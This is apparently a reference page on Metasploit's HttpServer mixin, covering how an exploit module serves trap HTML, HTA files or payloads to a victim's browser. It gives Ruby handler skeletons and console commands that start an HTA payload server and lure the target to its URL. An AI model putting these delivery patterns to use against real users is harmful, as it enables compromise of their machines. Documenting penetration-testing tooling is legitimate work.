HttpServer

Msf::Exploit::Remote::HttpServer starts an HTTP server on the attacker side and serves content or payloads to clients such as browsers. Its implementation is lib/msf/core/exploit/remote/http_server.rb.

When to use it

Purpose	Example
Browser exploit	Return trap HTML or JavaScript
File delivery	Let the client download an HTA, executable, or script
Combined use	Use HttpClient to operate an admin interface and HttpServer to serve a payload

include

include Msf::Exploit::Remote::HttpServer
# HTML-specific
include Msf::Exploit::Remote::HttpServer::HTML

Main options include SRVHOST, SRVPORT, URIPATH, and SSL.

Pattern: on_request_uri

def exploit
  # The parent often starts the service
  super
end

def on_request_uri(cli, request)
  print_status("Client #{cli.peerhost} requested #{request.uri}")
  payload_data = regenerate_payload(cli).encoded
  html = %|<html><body><script>/* deliver */</script></body></html>|
  send_response(cli, html, 'Content-Type' => 'text/html')
end

API	Purpose
on_request_uri(cli, request)	Main handler for incoming requests (override)
send_response(cli, body, headers)	Send a response
send_redirect(cli, location)	Redirect
send_not_found(cli)	404
add_resource / hardcoded_uripath	Additional path
regenerate_payload(cli)	Regenerate a payload for the client
get_uri	URL to give the victim

Pattern: simple file delivery

def on_request_uri(cli, _request)
  data = File.binread(datastore['HTML::path']) rescue payload.encoded
  send_response(cli, data, 'Content-Type' => 'application/octet-stream')
end

At runtime

use exploit/windows/misc/hta_server
set SRVHOST 10.10.16.10
set SRVPORT 8080
set URIPATH /x
run
# Have the target open the displayed URL

A separate route must bring the client here, such as DNS, a link, or XSS.